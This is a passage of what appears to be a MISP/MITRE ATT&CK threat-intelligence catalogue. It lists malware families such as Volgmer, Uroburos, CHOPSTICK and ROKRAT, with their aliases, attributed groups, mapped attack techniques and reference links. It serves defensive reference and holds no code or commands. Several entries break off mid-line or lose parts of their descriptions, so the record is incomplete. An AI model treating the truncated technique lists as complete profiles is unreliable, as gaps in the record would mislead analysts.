• uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments">http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0018">https://attack.mitre.org/software/S0018</a></td>
</tr>
</tbody>
</table>

Volgmer - S0180

[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)

The tag is: `misp-galaxy:mitre-malware="Volgmer - S0180"`

Volgmer - S0180 is also known as:

• Volgmer

View relationships graph

Volgmer - S0180 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6647. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0180">https://attack.mitre.org/software/S0180</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318B">https://www.us-cert.gov/ncas/alerts/TA17-318B</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF</a></td>
</tr>
</tbody>
</table>

**NightClub - S1090**

[NightClub](https://attack.mitre.org/software/S1090) is a modular implant written in C++ that has
been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2014. (Citation: MoustachedBouncer ESET August 2023)

The tag is: `misp-galaxy:mitre-malware="NightClub - S1090"`

NightClub - S1090 is also known as:

- NightClub

**View relationships graph**

NightClub - S1090 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6648. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1090">https://attack.mitre.org/software/S1090</a></td>
</tr>
</tbody>
</table>

**Epic - S0091**

[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: `misp-galaxy:mitre-malware="Epic - S0091"`

Epic - S0091 is also known as:

- Epic
- Tavdig
- Wipbot
- WorldCupSec
- TadjMakhal

**View relationships graph**

Epic - S0091 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-
language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"


- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"


- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
Regin - S0019

Regin - S0019 is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some timestamps date back to 2003. (Citation: Kaspersky Regin)

The tag is: misp-galaxy:mitre-malware="Regin - S0019"

Regin - S0019 is also known as:

- Regin

View relationships graph

Regin - S0019 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-
Chaos - S0220

[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)

The tag is: *misp-galaxy:mitre-malware="Chaos - S0220"

Chaos - S0220 is also known as:

- Chaos

View relationships graph

Chaos - S0220 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
Uroburos - S0022

[Uroburos](https://attack.mitre.org/software/S0022) is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the [Turla](https://attack.mitre.org/groups/G0010) toolset to collect intelligence on sensitive targets worldwide. [Uroburos](https://attack.mitre.org/software/S0022) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://attack.mitre.org/software/S0022) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://attack.mitre.org/software/S0022) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)(Citation: Kaspersky Turla)

The tag is: `misp-galaxy:mitre-malware="Uroburos - S0022"`

Uroburos - S0022 is also known as:

- Uroburos
- Snake

View relationships graph

Uroburos - S0022 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="Turla"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
adbupd - S0202

adbupd - S0202 is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="adbupd - S0202"*

adbupd - S0202 is also known as:

- adbupd

View relationships graph

adbupd - S0202 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
**CHOPSTICK - S0023**

[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).

The tag is: `misp-galaxy:mitre-malware="CHOPSTICK - S0023"`

CHOPSTICK - S0023 is also known as:

- CHOPSTICK
- Backdoor.SofacyX
- SPLM
- Xagent
- X-Agent
- webhp

View relationships graph

CHOPSTICK - S0023 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="CHOPSTICK"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="X-Agent (Android)"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002"` with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

---

Table 6654. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0023">https://attack.mitre.org/software/S0023</a></td>
</tr>
<tr>
<td><a href="https://www.justice.gov/file/1080281/download">https://www.justice.gov/file/1080281/download</a></td>
</tr>
</tbody>
</table>
DroidJack - S0320

[DroidJack](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games. (Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)

The tag is: *misp-galaxy:mitre-malware="DroidJack - S0320"

DroidJack - S0320 is also known as:

- DroidJack

View relationships graph

DroidJack - S0320 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 6655. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0320">https://attack.mitre.org/software/S0320</a></td>
</tr>
</tbody>
</table>

Hydraq - S0203

[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye...
The tag is: `misp-galaxy:mitre-malware="Hydraq - S0203"`

**Hydraq - S0203** is also known as:
- Hydraq
- Roarur
- MdmBot
- HomeUnix
- Homux
- HidraQ
- HydraQ
- McRat
- Aurora
- 9002 RAT

**View relationships graph**

**Hydraq - S0203** has relationships with:

- `uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"`
- `similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"`
- `uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"`
- `uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 6656. Table References

Links

https://attack.mitre.org/software/S0203


https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
ZeroT - S0230

[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)

The tag is: `misp-galaxy:mitre-malware="ZeroT - S0230"

ZeroT - S0230 is also known as:

- ZeroT

View relationships graph

ZeroT - S0230 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"


- similar: `misp-galaxy:malpedia="ZeroT"` with estimative-language:likelihood-probability="likely"

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


• similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"

Table 6657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0230">https://attack.mitre.org/software/S0230</a></td>
</tr>
</tbody>
</table>

Twitoor - S0302

[Twitoor](https://attack.mitre.org/software/S0302) is a dropper application capable of receiving commands from social media.(Citation: ESET-Twitoor)

The tag is: misp-galaxy:mitre-malware="Twitoor - S0302"

Twitoor - S0302 is also known as:

• Twitoor

View relationships graph

Twitoor - S0302 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1481.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1521" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0302">https://attack.mitre.org/software/S0302</a></td>
</tr>
</tbody>
</table>

Get2 - S0460

[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by
Get2 - S0460 is also known as:

- Get2

**View relationships graph**

Get2 - S0460 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

**Table 6659. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0460">https://attack.mitre.org/software/S0460</a></td>
</tr>
</tbody>
</table>

**LOWBALL - S0042**

[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)

The tag is: `misp-galaxy:mitre-malware="LOWBALL - S0042"`

LOWBALL - S0042 is also known as:

- LOWBALL

**View relationships graph**
LOWBALL - S0042 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0042">https://attack.mitre.org/software/S0042</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
</tbody>
</table>

ROKRAT - S0240

[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021. (Citation: Talos ROKRAT) (Citation: Talos Group123) (Citation: Volexity InkySquid RokRAT August 2021)

The tag is: misp-galaxy:mitre-malware="ROKRAT - S0240"

ROKRAT - S0240 is also known as:

- ROKRAT

View relationships graph

ROKRAT - S0240 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-
• uses: `misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001"` with estimative-language:likelihood-probability="almost-certain"

Table 6661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0240">https://attack.mitre.org/software/S0240</a></td>
</tr>
</tbody>
</table>

Briba - S0204

[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)

The tag is: `misp-galaxy:mitre-malware="Briba - S0204"`

Briba - S0204 is also known as:

• Briba

View relationships graph

Briba - S0204 has relationships with:

• uses: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
